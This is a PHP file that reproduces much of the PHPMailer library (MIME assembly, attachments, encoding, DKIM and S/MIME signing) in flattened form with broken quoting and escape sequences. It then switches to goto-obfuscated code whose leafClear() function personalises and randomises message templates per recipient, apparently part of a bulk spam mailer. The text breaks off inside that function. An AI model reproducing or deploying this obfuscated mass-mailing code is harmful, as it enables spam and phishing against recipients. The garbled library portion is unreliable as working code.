$this->getMailMIME() . $this->LE; } $this->setWordWrap(); $bodyEncoding = $this->Encoding; $bodyCharSet = $this->CharSet; if ($bodyEncoding == "8bit" and !$this->has8bitChars($this->Body)) { $bodyEncoding = "7bit"; $bodyCharSet = "us-ascii"; } if ("base64" != $this->Encoding and self::hasLineLongerThanMax($this->Body)) { $bodyEncoding = "quoted-printable"; } $altBodyEncoding = $this->Encoding; $altBodyCharSet = $this->CharSet; if ($altBodyEncoding == "8bit" and !$this->has8bitChars($this->AltBody)) { $altBodyEncoding = "7bit"; $altBodyCharSet = "us-ascii"; } if ("base64" != $altBodyEncoding and self::hasLineLongerThanMax($this->AltBody)) { $altBodyEncoding = "quoted-printable"; } $mimepre = "This is a multi-part message in MIME format." . $this->LE . $this->LE; switch ($this->message_type) { case "inline": $body .= $mimepre; $body .= $this->getBoundary($this->boundary[1], $bodyCharSet, '', $bodyEncoding); $body .= $this->encodeString($this->Body, $bodyEncoding); $body .= $this->LE . $this->LE; $body .= $this->attachAll("inline", $this->boundary[1]); break; case "attach": $body .= $mimepre; $body .= $this->getBoundary($this->boundary[1], $bodyCharSet, '', $bodyEncoding); $body .= $this->encodeString($this->Body, $bodyEncoding); $body .= $this->LE . $this->LE; $body .= $this->attachAll("attachment", $this->boundary[1]); break; case "inline_attach": $body .= $mimepre; $body .= $this->textLine("--" . $this->boundary[1]); $body .= $this->headerLine("Content-Type", "multipart/related;"); $body .= $this->textLine(" boundary="" . $this->boundary[2] . """); $body .= $this->LE; $body .= $this->getBoundary($this->boundary[2], $bodyCharSet, '', $bodyEncoding); $body .= $this->encodeString($this->Body, $bodyEncoding); $body .= $this->LE . $this->LE; $body .= $this->attachAll("inline", $this->boundary[2]); $body .= $this->LE; $body .= $this->attachAll("attachment", $this->boundary[1]); break; case "alt": $body .= $mimepre; $body .= $this->getBoundary($this->boundary[1], $altBodyCharSet, "text/plain", $altBodyEncoding); $body .= $this->encodeString($this->AltBody, $altBodyEncoding); $body .= $this->LE . $this->LE; $body .= $this->getBoundary($this->boundary[1], $bodyCharSet, "text/html", $bodyEncoding); $body .= $this->encodeString($this->Body, $bodyEncoding); $body .= $this->LE . $this->LE; if (!empty($this->Ical)) { $body .= $this->getBoundary($this->boundary[1], '', "text/calendar; method=REQUEST", ''); $body .= $this->encodeString($this->Ical, $this->Encoding); $body .= $this->LE . $this->LE; } $body .= $this->endBoundary($this->boundary[1]); break; case "alt_inline": $body .= $mimepre; $body .= $this->getBoundary($this->boundary[1], $altBodyCharSet, "text/plain", $altBodyEncoding); $body .= $this->encodeString($this->AltBody, $altBodyEncoding); $body .= $this->LE . $this->LE; $body .= $this->textLine("--" . $this->boundary[1]); $body .= $this->headerLine("Content-Type", "multipart/related;"); $body .= $this->textLine(" boundary="" . $this->boundary[2] . """); $body .= $this->LE; $body .= $this->getBoundary($this->boundary[2], $bodyCharSet, "text/html", $bodyEncoding); $body .= $this->encodeString($this->Body, $bodyEncoding); $body .= $this->LE . $this->LE; $body .= $this->attachAll("inline", $this->boundary[2]); $body .= $this->LE; $body .= $this->endBoundary($this->boundary[1]); break; case "alt_attach": $body .= $mimepre; $body .= $this->textLine("--" . $this->boundary[1]); $body .= $this->headerLine("Content-Type", "multipart/alternative;"); $body .= $this->textLine("\x9boundary="" . $this->boundary[2] . """); $body .= $this->LE; $body .= $this->getBoundary($this->boundary[2], $altBodyCharSet, "text/plain", $altBodyEncoding); $body .= $this->encodeString($this->AltBody, $altBodyEncoding); $body .= $this->LE . $this->LE; $body .= $this->getBoundary($this->boundary[2], $bodyCharSet, "text/html", $bodyEncoding); $body .= $this->encodeString($this->Body, $bodyEncoding); $body .= $this->LE . $this->LE; $body .= $this->endBoundary($this->boundary[2]); $body .= $this->LE; $body .= $this->attachAll("attachment", $this->boundary[1]); break; case "alt_inline_attach": $body .= $mimepre; $body .= $this->textLine("--" . $this->boundary[1]); $body .= $this->headerLine("Content-Type", "multipart/alternative;"); $body .= $this->textLine(" boundary="" . $this->boundary[2] . """); $body .= $this->LE; $body .= $this->getBoundary($this->boundary[2], $altBodyCharSet, "text/plain", $altBodyEncoding); $body .= $this->encodeString($this->AltBody, $altBodyEncoding); $body .= $this->LE . $this->LE; $body .= $this->textLine("--" . $this->boundary[2]); $body .= $this->headerLine("Content-Type", "multipart/related;"); $body .= $this->textLine(" boundary="" . $this->boundary[3] . """); $body .= $this->LE; $body .= $this->getBoundary($this->boundary[3], $bodyCharSet, "text/html", $bodyEncoding); $body .= $this->encodeString($this->Body, $bodyEncoding); $body .= $this->LE . $this->LE; $body .= $this->attachAll("inline", $this->boundary[3]); $body .= $this->LE; $body .= $this->endBoundary($this->boundary[2]); $body .= $this->LE; $body .= $this->attachAll("attachment", $this->boundary[1]); break; default: $this->Encoding = $bodyEncoding; $body .= $this->encodeString($this->Body, $this->Encoding); break; } if ($this->isError()) { $body = ''; } elseif ($this->sign_key_file) { try { if (!defined("PKCS7_TEXT")) { throw new phpmailerException($this->lang("extension_missing") . "openssl"); } $file = tempnam(sys_get_temp_dir(), "mail"); if (false === file_put_contents($file, $body)) { throw new phpmailerException($this->lang("signing") . " Could not write temp file"); } $signed = tempnam(sys_get_temp_dir(), "signed"); if (empty($this->sign_extracerts_file)) { $sign = @openssl_pkcs7_sign($file, $signed, "file://" . realpath($this->sign_cert_file), array("file://" . realpath($this->sign_key_file), $this->sign_key_pass), null); } else { $sign = @openssl_pkcs7_sign($file, $signed, "file://" . realpath($this->sign_cert_file), array("file://" . realpath($this->sign_key_file), $this->sign_key_pass), null, PKCS7_DETACHED, $this->sign_extracerts_file); } if ($sign) { @unlink($file); $body = file_get_contents($signed); @unlink($signed); $parts = explode("\xa
", $body, 2); $this->MIMEHeader .= $parts[0] . $this->LE . $this->LE; $body = $parts[1]; } else { @unlink($file); @unlink($signed); throw new phpmailerException($this->lang("signing") . openssl_error_string()); } } catch (phpmailerException $exc) { $body = ''; if ($this->exceptions) { throw $exc; } } } return $body; } protected function getBoundary($boundary, $charSet, $contentType, $encoding) { $result = ''; if ($charSet == '') { $charSet = $this->CharSet; } if ($contentType == '') { $contentType = $this->ContentType; } if ($encoding == '') { $encoding = $this->Encoding; } $result .= $this->textLine("--" . $boundary); $result .= sprintf("Content-Type: %s; charset=%s", $contentType, $charSet); $result .= $this->LE; if ($encoding != "7bit") { $result .= $this->headerLine("Content-Transfer-Encoding", $encoding); } $result .= $this->LE; return $result; } protected function endBoundary($boundary) { return $this->LE . "--" . $boundary . "--" . $this->LE; } protected function setMessageType() { $type = array(); if ($this->alternativeExists()) { $type[] = "alt"; } if ($this->inlineImageExists()) { $type[] = "inline"; } if ($this->attachmentExists()) { $type[] = "attach"; } $this->message_type = implode("_", $type); if ($this->message_type == '') { $this->message_type = "plain"; } } public function headerLine($name, $value) { return $name . ": " . $value . $this->LE; } public function textLine($value) { return $value . $this->LE; } public function addAttachment($path, $name = '', $encoding = "base64", $type = '', $disposition = "attachment") { try { if (!self::isPermittedPath($path) or !@is_file($path)) { throw new phpmailerException($this->lang("file_access") . $path, self::STOP_CONTINUE); } if ($type == '') { $type = self::filenameToType($path); } $filename = basename($path); if ($name == '') { $name = $filename; } $this->attachment[] = array(0 => $path, 1 => $filename, 2 => $name, 3 => $encoding, 4 => $type, 5 => false, 6 => $disposition, 7 => 0); } catch (phpmailerException $exc) { $this->setError($exc->getMessage()); $this->edebug($exc->getMessage()); if ($this->exceptions) { throw $exc; } return false; } return true; } public function getAttachments() { return $this->attachment; } protected function attachAll($disposition_type, $boundary) { $mime = array(); $cidUniq = array(); $incl = array(); foreach ($this->attachment as $attachment) { if ($attachment[6] == $disposition_type) { $string = ''; $path = ''; $bString = $attachment[5]; if ($bString) { $string = $attachment[0]; } else { $path = $attachment[0]; } $inclhash = md5(serialize($attachment)); if (in_array($inclhash, $incl)) { continue; } $incl[] = $inclhash; $name = $attachment[2]; $encoding = $attachment[3]; $type = $attachment[4]; $disposition = $attachment[6]; $cid = $attachment[7]; if ($disposition == "inline" && array_key_exists($cid, $cidUniq)) { continue; } $cidUniq[$cid] = true; $mime[] = sprintf("--%s%s", $boundary, $this->LE); if (!empty($name)) { $mime[] = sprintf("Content-Type: %s; name="%s"%s", $type, $this->encodeHeader($this->secureHeader($name)), $this->LE); } else { $mime[] = sprintf("Content-Type: %s%s", $type, $this->LE); } if ($encoding != "7bit") { $mime[] = sprintf("Content-Transfer-Encoding: %s%s", $encoding, $this->LE); } if ($disposition == "inline") { $mime[] = sprintf("Content-ID: <%s>%s", $cid, $this->LE); } if (!empty($disposition)) { $encoded_name = $this->encodeHeader($this->secureHeader($name)); if (preg_match("/[ \(\)<>@,;:\"\/\[\]\?=]/", $encoded_name)) { $mime[] = sprintf("Content-Disposition: %s; filename="%s"%s", $disposition, $encoded_name, $this->LE . $this->LE); } else { if (!empty($encoded_name)) { $mime[] = sprintf("Content-Disposition: %s; filename=%s%s", $disposition, $encoded_name, $this->LE . $this->LE); } else { $mime[] = sprintf("Content-Disposition: %s%s", $disposition, $this->LE . $this->LE); } } } else { $mime[] = $this->LE; } if ($bString) { $mime[] = $this->encodeString($string, $encoding); if ($this->isError()) { return ''; } $mime[] = $this->LE . $this->LE; } else { $mime[] = $this->encodeFile($path, $encoding); if ($this->isError()) { return ''; } $mime[] = $this->LE . $this->LE; } } } $mime[] = sprintf("--%s--%s", $boundary, $this->LE); return implode('', $mime); } protected function encodeFile($path, $encoding = "base64") { try { if (!self::isPermittedPath($path) or !file_exists($path)) { throw new phpmailerException($this->lang("file_open") . $path, self::STOP_CONTINUE); } $magic_quotes = false; if (version_compare(PHP_VERSION, "7.4.0", "<")) { $magic_quotes = get_magic_quotes_runtime(); } if ($magic_quotes) { if (version_compare(PHP_VERSION, "5.3.0", "<")) { set_magic_quotes_runtime(false); } else { ini_set("magic_quotes_runtime", false); } } $file_buffer = file_get_contents($path); $file_buffer = $this->encodeString($file_buffer, $encoding); if ($magic_quotes) { if (version_compare(PHP_VERSION, "5.3.0", "<")) { set_magic_quotes_runtime($magic_quotes); } else { ini_set("magic_quotes_runtime", $magic_quotes); } } return $file_buffer; } catch (Exception $exc) { $this->setError($exc->getMessage()); return ''; } } public function encodeString($str, $encoding = "base64") { $encoded = ''; switch (strtolower($encoding)) { case "base64": $encoded = chunk_split(base64_encode($str), 76, $this->LE); break; case "7bit": case "8bit": $encoded = $this->fixEOL($str); if (substr($encoded, -strlen($this->LE)) != $this->LE) { $encoded .= $this->LE; } break; case "binary": $encoded = $str; break; case "quoted-printable": $encoded = $this->encodeQP($str); break; default: $this->setError($this->lang("encoding") . $encoding); break; } return $encoded; } public function encodeHeader($str, $position = "text") { $matchcount = 0; switch (strtolower($position)) { case "phrase": if (!preg_match("/[\200-\377]/", $str)) { $encoded = addcslashes($str, "\0..\37\177\""); if ($str == $encoded && !preg_match("/[^A-Za-z0-9!#$%&'*+\/=?^_`{|}~ -]/", $str)) { return $encoded; } else { return ""{$encoded}""; } } $matchcount = preg_match_all("/[^\040\041\043-\133\135-\176]/", $str, $matches); break; case "comment": $matchcount = preg_match_all("/[()"]/", $str, $matches); case "text": default: $matchcount += preg_match_all("/[\000-\010\013\014\016-\037\177-\377]/", $str, $matches); break; } if ($matchcount == 0) { return $str; } $maxlen = 75 - 7 - strlen($this->CharSet); if ($matchcount > strlen($str) / 3) { $encoding = "B"; if (function_exists("mb_strlen") && $this->hasMultiBytes($str)) { $encoded = $this->base64EncodeWrapMB($str, "\xa"); } else { $encoded = base64_encode($str); $maxlen -= $maxlen % 4; $encoded = trim(chunk_split($encoded, $maxlen, "\xa")); } } else { $encoding = "Q"; $encoded = $this->encodeQ($str, $position); $encoded = $this->wrapText($encoded, $maxlen, true); $encoded = str_replace("=" . self::CRLF, "
", trim($encoded)); } $encoded = preg_replace("/^(.*)$/m", " =?" . $this->CharSet . "?{$encoding}?\1?=", $encoded); $encoded = trim(str_replace("
", $this->LE, $encoded)); return $encoded; } public function hasMultiBytes($str) { if (function_exists("mb_strlen")) { return strlen($str) > mb_strlen($str, $this->CharSet); } else { return false; } } public function has8bitChars($text) { return (bool) preg_match("/[\x80-\xFF]/", $text); } public function base64EncodeWrapMB($str, $linebreak = null) { $start = "=?" . $this->CharSet . "?B?"; $end = "?="; $encoded = ''; if ($linebreak === null) { $linebreak = $this->LE; } $mb_length = mb_strlen($str, $this->CharSet); $length = 75 - strlen($start) - strlen($end); $ratio = $mb_length / strlen($str); $avgLength = floor($length * $ratio * 0.75); for ($i = 0; $i < $mb_length; $i += $offset) { $lookBack = 0; do { $offset = $avgLength - $lookBack; $chunk = mb_substr($str, $i, $offset, $this->CharSet); $chunk = base64_encode($chunk); $lookBack++; } while (strlen($chunk) > $length); $encoded .= $chunk . $linebreak; } $encoded = substr($encoded, 0, -strlen($linebreak)); return $encoded; } public function encodeQP($string, $line_max = 76) { if (function_exists("quoted_printable_encode")) { return quoted_printable_encode($string); } $string = str_replace(array("%20", "%0D%0A.", "%0D%0A", "%"), array(" ", "\xd
=2E", "\xd
", "="), rawurlencode($string)); return preg_replace("/[^\r\n]{" . ($line_max - 3) . "}[^=\r\n]{2}/", "$0=\xd
", $string); } public function encodeQPphp($string, $line_max = 76, $space_conv = false) { return $this->encodeQP($string, $line_max); } public function encodeQ($str, $position = "text") { $pattern = ''; $encoded = str_replace(array("
", "
"), '', $str); switch (strtolower($position)) { case "phrase": $pattern = "^A-Za-z0-9!*+\/ -"; break; case "comment": $pattern = "\(\)""; case "text": default: $pattern = "\000-\011\013\014\016-\037\075\077\137\177-\377" . $pattern; break; } $matches = array(); if (preg_match_all("/[{$pattern}]/", $encoded, $matches)) { $eqkey = array_search("=", $matches[0]); if (false !== $eqkey) { unset($matches[0][$eqkey]); array_unshift($matches[0], "="); } foreach (array_unique($matches[0]) as $char) { $encoded = str_replace($char, "=" . sprintf("%02X", ord($char)), $encoded); } } return str_replace(" ", "_", $encoded); } public function addStringAttachment($string, $filename, $encoding = "base64", $type = '', $disposition = "attachment") { if ($type == '') { $type = self::filenameToType($filename); } $this->attachment[] = array(0 => $string, 1 => $filename, 2 => basename($filename), 3 => $encoding, 4 => $type, 5 => true, 6 => $disposition, 7 => 0); } public function addEmbeddedImage($path, $cid, $name = '', $encoding = "base64", $type = '', $disposition = "inline") { if (!self::isPermittedPath($path) or !@is_file($path)) { $this->setError($this->lang("file_access") . $path); return false; } if ($type == '') { $type = self::filenameToType($path); } $filename = basename($path); if ($name == '') { $name = $filename; } $this->attachment[] = array(0 => $path, 1 => $filename, 2 => $name, 3 => $encoding, 4 => $type, 5 => false, 6 => $disposition, 7 => $cid); return true; } public function addStringEmbeddedImage($string, $cid, $name = '', $encoding = "base64", $type = '', $disposition = "inline") { if ($type == '' and !empty($name)) { $type = self::filenameToType($name); } $this->attachment[] = array(0 => $string, 1 => $name, 2 => $name, 3 => $encoding, 4 => $type, 5 => true, 6 => $disposition, 7 => $cid); return true; } public function inlineImageExists() { foreach ($this->attachment as $attachment) { if ($attachment[6] == "inline") { return true; } } return false; } public function attachmentExists() { foreach ($this->attachment as $attachment) { if ($attachment[6] == "attachment") { return true; } } return false; } public function alternativeExists() { return !empty($this->AltBody); } public function clearQueuedAddresses($kind) { $RecipientsQueue = $this->RecipientsQueue; foreach ($RecipientsQueue as $address => $params) { if ($params[0] == $kind) { unset($this->RecipientsQueue[$address]); } } } public function clearAddresses() { foreach ($this->to as $to) { unset($this->all_recipients[strtolower($to[0])]); } $this->to = array(); $this->clearQueuedAddresses("to"); } public function clearCCs() { foreach ($this->cc as $cc) { unset($this->all_recipients[strtolower($cc[0])]); } $this->cc = array(); $this->clearQueuedAddresses("cc"); } public function clearBCCs() { foreach ($this->bcc as $bcc) { unset($this->all_recipients[strtolower($bcc[0])]); } $this->bcc = array(); $this->clearQueuedAddresses("bcc"); } public function clearReplyTos() { $this->ReplyTo = array(); $this->ReplyToQueue = array(); } public function clearAllRecipients() { $this->to = array(); $this->cc = array(); $this->bcc = array(); $this->all_recipients = array(); $this->RecipientsQueue = array(); } public function clearAttachments() { $this->attachment = array(); } public function clearCustomHeaders() { $this->CustomHeader = array(); } protected function setError($msg) { $this->error_count++; if ($this->Mailer == "smtp" and !is_null($this->smtp)) { $lasterror = $this->smtp->getError(); if (!empty($lasterror["error"])) { $msg .= $this->lang("smtp_error") . $lasterror["error"]; if (!empty($lasterror["detail"])) { $msg .= " Detail: " . $lasterror["detail"]; } if (!empty($lasterror["smtp_code"])) { $msg .= " SMTP code: " . $lasterror["smtp_code"]; } if (!empty($lasterror["smtp_code_ex"])) { $msg .= " Additional SMTP info: " . $lasterror["smtp_code_ex"]; } } } $this->ErrorInfo = $msg; } public static function rfcDate() { date_default_timezone_set(@date_default_timezone_get()); return date("D, j M Y H:i:s O"); } protected function serverHostname() { $result = "localhost.localdomain"; if (!empty($this->Hostname)) { $result = $this->Hostname; } elseif (isset($_SERVER) and array_key_exists("SERVER_NAME", $_SERVER) and !empty($_SERVER["SERVER_NAME"])) { $result = $_SERVER["SERVER_NAME"]; } elseif (function_exists("gethostname") && gethostname() !== false) { $result = gethostname(); } elseif (php_uname("n") !== false) { $result = php_uname("n"); } return $result; } protected function lang($key) { if (count($this->language) < 1) { $this->setLanguage("en"); } if (array_key_exists($key, $this->language)) { if ($key == "smtp_connect_failed") { return $this->language[$key] . " https://github.com/PHPMailer/PHPMailer/wiki/Troubleshooting"; } return $this->language[$key]; } else { return $key; } } public function isError() { return $this->error_count > 0; } public function fixEOL($str) { $nstr = str_replace(array("
", "\xd"), "
", $str); if ($this->LE !== "
") { $nstr = str_replace("\xa", $this->LE, $nstr); } return $nstr; } public function addCustomHeader($name, $value = null) { if ($value === null) { $this->CustomHeader[] = explode(":", $name, 2); } else { $this->CustomHeader[] = array($name, $value); } } public function getCustomHeaders() { return $this->CustomHeader; } public function msgHTML($message, $basedir = '', $advanced = false) { preg_match_all("/(src|background)=["'](.*)["']/Ui", $message, $images); if (array_key_exists(2, $images)) { if (strlen($basedir) > 1 && substr($basedir, -1) != "/") { $basedir .= "/"; } foreach ($images[2] as $imgindex => $url) { if (preg_match("#^data:(image[^;,]*)(;base64)?,#", $url, $match)) { $data = substr($url, strpos($url, ",")); if ($match[2]) { $data = base64_decode($data); } else { $data = rawurldecode($data); } $cid = md5($url) . "@phpmailer.0"; if ($this->addStringEmbeddedImage($data, $cid, "embed" . $imgindex, "base64", $match[1])) { $message = str_replace($images[0][$imgindex], $images[1][$imgindex] . "="cid:" . $cid . """, $message); } continue; } if (!empty($basedir) && strpos($url, "..") === false && substr($url, 0, 4) !== "cid:" && !preg_match("#^[a-z][a-z0-9+.-]*:?//#i", $url)) { $filename = basename($url); $directory = dirname($url); if ($directory == ".") { $directory = ''; } $cid = md5($url) . "@phpmailer.0"; if (strlen($directory) > 1 && substr($directory, -1) != "/") { $directory .= "/"; } if ($this->addEmbeddedImage($basedir . $directory . $filename, $cid, $filename, "base64", self::_mime_types((string) self::mb_pathinfo($filename, PATHINFO_EXTENSION)))) { $message = preg_replace("/" . $images[1][$imgindex] . "=["']" . preg_quote($url, "/") . "["']/Ui", $images[1][$imgindex] . "="cid:" . $cid . """, $message); } } } } $this->isHTML(true); $this->Body = $this->normalizeBreaks($message); $this->AltBody = $this->normalizeBreaks($this->html2text($message, $advanced)); if (!$this->alternativeExists()) { $this->AltBody = "To view this email message, open it in a program that understands HTML!" . self::CRLF . self::CRLF; } return $this->Body; } public function html2text($html, $advanced = false) { if (is_callable($advanced)) { return call_user_func($advanced, $html); } return html_entity_decode(trim(strip_tags(preg_replace("/<(head|title|style|script)[^>]*>.*?<\/\1>/si", '', $html))), ENT_QUOTES, $this->CharSet); } public static function _mime_types($ext = '') { $mimes = array("xl" => "application/excel", "js" => "application/javascript", "hqx" => "application/mac-binhex40", "cpt" => "application/mac-compactpro", "bin" => "application/macbinary", "doc" => "application/msword", "word" => "application/msword", "xlsx" => "application/vnd.openxmlformats-officedocument.spreadsheetml.sheet", "xltx" => "application/vnd.openxmlformats-officedocument.spreadsheetml.template", "potx" => "application/vnd.openxmlformats-officedocument.presentationml.template", "ppsx" => "application/vnd.openxmlformats-officedocument.presentationml.slideshow", "pptx" => "application/vnd.openxmlformats-officedocument.presentationml.presentation", "sldx" => "application/vnd.openxmlformats-officedocument.presentationml.slide", "docx" => "application/vnd.openxmlformats-officedocument.wordprocessingml.document", "dotx" => "application/vnd.openxmlformats-officedocument.wordprocessingml.template", "xlam" => "application/vnd.ms-excel.addin.macroEnabled.12", "xlsb" => "application/vnd.ms-excel.sheet.binary.macroEnabled.12", "class" => "application/octet-stream", "dll" => "application/octet-stream", "dms" => "application/octet-stream", "exe" => "application/octet-stream", "lha" => "application/octet-stream", "lzh" => "application/octet-stream", "psd" => "application/octet-stream", "sea" => "application/octet-stream", "so" => "application/octet-stream", "oda" => "application/oda", "pdf" => "application/pdf", "ai" => "application/postscript", "eps" => "application/postscript", "ps" => "application/postscript", "smi" => "application/smil", "smil" => "application/smil", "mif" => "application/vnd.mif", "xls" => "application/vnd.ms-excel", "ppt" => "application/vnd.ms-powerpoint", "wbxml" => "application/vnd.wap.wbxml", "wmlc" => "application/vnd.wap.wmlc", "dcr" => "application/x-director", "dir" => "application/x-director", "dxr" => "application/x-director", "dvi" => "application/x-dvi", "gtar" => "application/x-gtar", "php3" => "application/x-httpd-php", "php4" => "application/x-httpd-php", "php" => "application/x-httpd-php", "phtml" => "application/x-httpd-php", "phps" => "application/x-httpd-php-source", "swf" => "application/x-shockwave-flash", "sit" => "application/x-stuffit", "tar" => "application/x-tar", "tgz" => "application/x-tar", "xht" => "application/xhtml+xml", "xhtml" => "application/xhtml+xml", "zip" => "application/zip", "mid" => "audio/midi", "midi" => "audio/midi", "mp2" => "audio/mpeg", "mp3" => "audio/mpeg", "mpga" => "audio/mpeg", "aif" => "audio/x-aiff", "aifc" => "audio/x-aiff", "aiff" => "audio/x-aiff", "ram" => "audio/x-pn-realaudio", "rm" => "audio/x-pn-realaudio", "rpm" => "audio/x-pn-realaudio-plugin", "ra" => "audio/x-realaudio", "wav" => "audio/x-wav", "bmp" => "image/bmp", "gif" => "image/gif", "jpeg" => "image/jpeg", "jpe" => "image/jpeg", "jpg" => "image/jpeg", "png" => "image/png", "tiff" => "image/tiff", "tif" => "image/tiff", "eml" => "message/rfc822", "css" => "text/css", "html" => "text/html", "htm" => "text/html", "shtml" => "text/html", "log" => "text/plain", "text" => "text/plain", "txt" => "text/plain", "rtx" => "text/richtext", "rtf" => "text/rtf", "vcf" => "text/vcard", "vcard" => "text/vcard", "xml" => "text/xml", "xsl" => "text/xml", "mpeg" => "video/mpeg", "mpe" => "video/mpeg", "mpg" => "video/mpeg", "mov" => "video/quicktime", "qt" => "video/quicktime", "rv" => "video/vnd.rn-realvideo", "avi" => "video/x-msvideo", "movie" => "video/x-sgi-movie"); if (array_key_exists(strtolower($ext), $mimes)) { return $mimes[strtolower($ext)]; } return "application/octet-stream"; } public static function filenameToType($filename) { $qpos = strpos($filename, "?"); if (false !== $qpos) { $filename = substr($filename, 0, $qpos); } $pathinfo = self::mb_pathinfo($filename); return self::_mime_types($pathinfo["extension"]); } public static function mb_pathinfo($path, $options = null) { $ret = array("dirname" => '', "basename" => '', "extension" => '', "filename" => ''); $pathinfo = array(); if (preg_match("%^(.*?)[\\/]*(([^/\\]*?)(\.([^\.\\/]+?)|))[\\/\.]*$%im", $path, $pathinfo)) { if (array_key_exists(1, $pathinfo)) { $ret["dirname"] = $pathinfo[1]; } if (array_key_exists(2, $pathinfo)) { $ret["basename"] = $pathinfo[2]; } if (array_key_exists(5, $pathinfo)) { $ret["extension"] = $pathinfo[5]; } if (array_key_exists(3, $pathinfo)) { $ret["filename"] = $pathinfo[3]; } } switch ($options) { case PATHINFO_DIRNAME: case "dirname": return $ret["dirname"]; case PATHINFO_BASENAME: case "basename": return $ret["basename"]; case PATHINFO_EXTENSION: case "extension": return $ret["extension"]; case PATHINFO_FILENAME: case "filename": return $ret["filename"]; default: return $ret; } } public function set($name, $value = '') { if (property_exists($this, $name)) { $this->{$name} = $value; return true; } else { $this->setError($this->lang("variable_set") . $name); return false; } } public function secureHeader($str) { return trim(str_replace(array("\xd", "
"), '', $str)); } public static function normalizeBreaks($text, $breaktype = "
") { return preg_replace("/(\r\n|\r|\n)/ms", $breaktype, $text); } public function sign($cert_filename, $key_filename, $key_pass, $extracerts_filename = '') { $this->sign_cert_file = $cert_filename; $this->sign_key_file = $key_filename; $this->sign_key_pass = $key_pass; $this->sign_extracerts_file = $extracerts_filename; } public function DKIM_QP($txt) { $line = ''; for ($i = 0; $i < strlen($txt); $i++) { $ord = ord($txt[$i]); if (33 <= $ord && $ord <= 58 || $ord == 60 || 62 <= $ord && $ord <= 126) { $line .= $txt[$i]; } else { $line .= "=" . sprintf("%02X", $ord); } } return $line; } public function DKIM_Sign($signHeader) { if (!defined("PKCS7_TEXT")) { if ($this->exceptions) { throw new phpmailerException($this->lang("extension_missing") . "openssl"); } return ''; } $privKeyStr = !empty($this->DKIM_private_string) ? $this->DKIM_private_string : file_get_contents($this->DKIM_private); if ('' != $this->DKIM_passphrase) { $privKey = openssl_pkey_get_private($privKeyStr, $this->DKIM_passphrase); } else { $privKey = openssl_pkey_get_private($privKeyStr); } if (version_compare(PHP_VERSION, "5.3.0") >= 0 and in_array("sha256WithRSAEncryption", openssl_get_md_methods(true))) { if (openssl_sign($signHeader, $signature, $privKey, "sha256WithRSAEncryption")) { openssl_pkey_free($privKey); return base64_encode($signature); } } else { $pinfo = openssl_pkey_get_details($privKey); $hash = hash("sha256", $signHeader); $t = "3031300d060960864801650304020105000420" . $hash; $pslen = $pinfo["bits"] / 8 - (strlen($t) / 2 + 3); $eb = pack("H*", "0001" . str_repeat("FF", $pslen) . "00" . $t); if (openssl_private_encrypt($eb, $signature, $privKey, OPENSSL_NO_PADDING)) { openssl_pkey_free($privKey); return base64_encode($signature); } } openssl_pkey_free($privKey); return ''; } public function DKIM_HeaderC($signHeader) { $signHeader = preg_replace("/\r\n\s+/", " ", $signHeader); $lines = explode("\xd\xa", $signHeader); foreach ($lines as $key => $line) { list($heading, $value) = explode(":", $line, 2); $heading = strtolower($heading); $value = preg_replace("/\s{2,}/", " ", $value); $lines[$key] = $heading . ":" . trim($value); } $signHeader = implode("
\xa", $lines); return $signHeader; } public function DKIM_BodyC($body) { if ($body == '') { return "\xd
"; } $body = str_replace("\xd\xa", "\xa", $body); $body = str_replace("\xa", "\xd\xa", $body); while (substr($body, strlen($body) - 4, 4) == "\xd\xa\xd\xa") { $body = substr($body, 0, strlen($body) - 2); } return $body; } public function DKIM_Add($headers_line, $subject, $body) { $DKIMsignatureType = "rsa-sha256"; $DKIMcanonicalization = "relaxed/simple"; $DKIMquery = "dns/txt"; $DKIMtime = time(); $subject_header = "Subject: {$subject}"; $headers = explode($this->LE, $headers_line); $from_header = ''; $to_header = ''; $date_header = ''; $current = ''; foreach ($headers as $header) { if (strpos($header, "From:") === 0) { $from_header = $header; $current = "from_header"; } elseif (strpos($header, "To:") === 0) { $to_header = $header; $current = "to_header"; } elseif (strpos($header, "Date:") === 0) { $date_header = $header; $current = "date_header"; } else { if (!empty(${$current}) && strpos($header, " =?") === 0) { ${$current} .= $header; } else { $current = ''; } } } $from = str_replace("|", "=7C", $this->DKIM_QP($from_header)); $to = str_replace("|", "=7C", $this->DKIM_QP($to_header)); $date = str_replace("|", "=7C", $this->DKIM_QP($date_header)); $subject = str_replace("|", "=7C", $this->DKIM_QP($subject_header)); $body = $this->DKIM_BodyC($body); $DKIMlen = strlen($body); $DKIMb64 = base64_encode(pack("H*", hash("sha256", $body))); if ('' == $this->DKIM_identity) { $ident = ''; } else { $ident = " i=" . $this->DKIM_identity . ";"; } $dkimhdrs = "DKIM-Signature: v=1; a=" . $DKIMsignatureType . "; q=" . $DKIMquery . "; l=" . $DKIMlen . "; s=" . $this->DKIM_selector . ";
" . " t=" . $DKIMtime . "; c=" . $DKIMcanonicalization . ";\xd\xa" . " h=From:To:Date:Subject;
\xa" . "\x9d=" . $this->DKIM_domain . ";" . $ident . "\xd\xa" . " z={$from}\xd\xa" . " |{$to}\xd
" . " |{$date}
\xa" . " |{$subject};\xd
" . "\x9bh=" . $DKIMb64 . ";\xd
" . "\x9b="; $toSign = $this->DKIM_HeaderC($from_header . "
\xa" . $to_header . "
" . $date_header . "\xd\xa" . $subject_header . "
" . $dkimhdrs); $signed = $this->DKIM_Sign($toSign); return $dkimhdrs . $signed . "
"; } public static function hasLineLongerThanMax($str) { return (bool) preg_match("/^(.{" . (self::MAX_LINE_LENGTH + 2) . ",})/m", $str); } public function getToAddresses() { return $this->to; } public function getCcAddresses() { return $this->cc; } public function getBccAddresses() { return $this->bcc; } public function getReplyToAddresses() { return $this->ReplyTo; } public function getAllRecipientAddresses() { return $this->all_recipients; } protected function doCallback($isSent, $to, $cc, $bcc, $subject, $body, $from) { if (!empty($this->action_function) && is_callable($this->action_function)) { $params = array($isSent, $to, $cc, $bcc, $subject, $body, $from); call_user_func_array($this->action_function, $params); } } } goto q9FAd; BaUTI: $bit8 = "selected"; goto IYE5i; JVcAu: function leafClear($text, $email) { $e = explode("@", $email); $emailuser = $e[0]; $emaildomain = $e[1]; $text = str_replace("[-time-]", date("m/d/Y h:i:s a", time()), $text); $text = str_replace("[-email-]", $email, $text); $text = str_replace("[-emailuser-]", $emailuser, $text); $text = str_replace("[-emaildomain-]", $emaildomain, $text); $text = str_replace("[-randomletters-]", randString("abcdefghijklmnopqrstuvwxyz"), $text); $text = str_replace("[-randomstring-]", randString("abcdefghijklmnopqrstuvwxyz0123456789"), $text); $text = str_replace("[-randomnumber-]", randString("0123456789"), $text); $text = str_replace("[-randommd5-]", 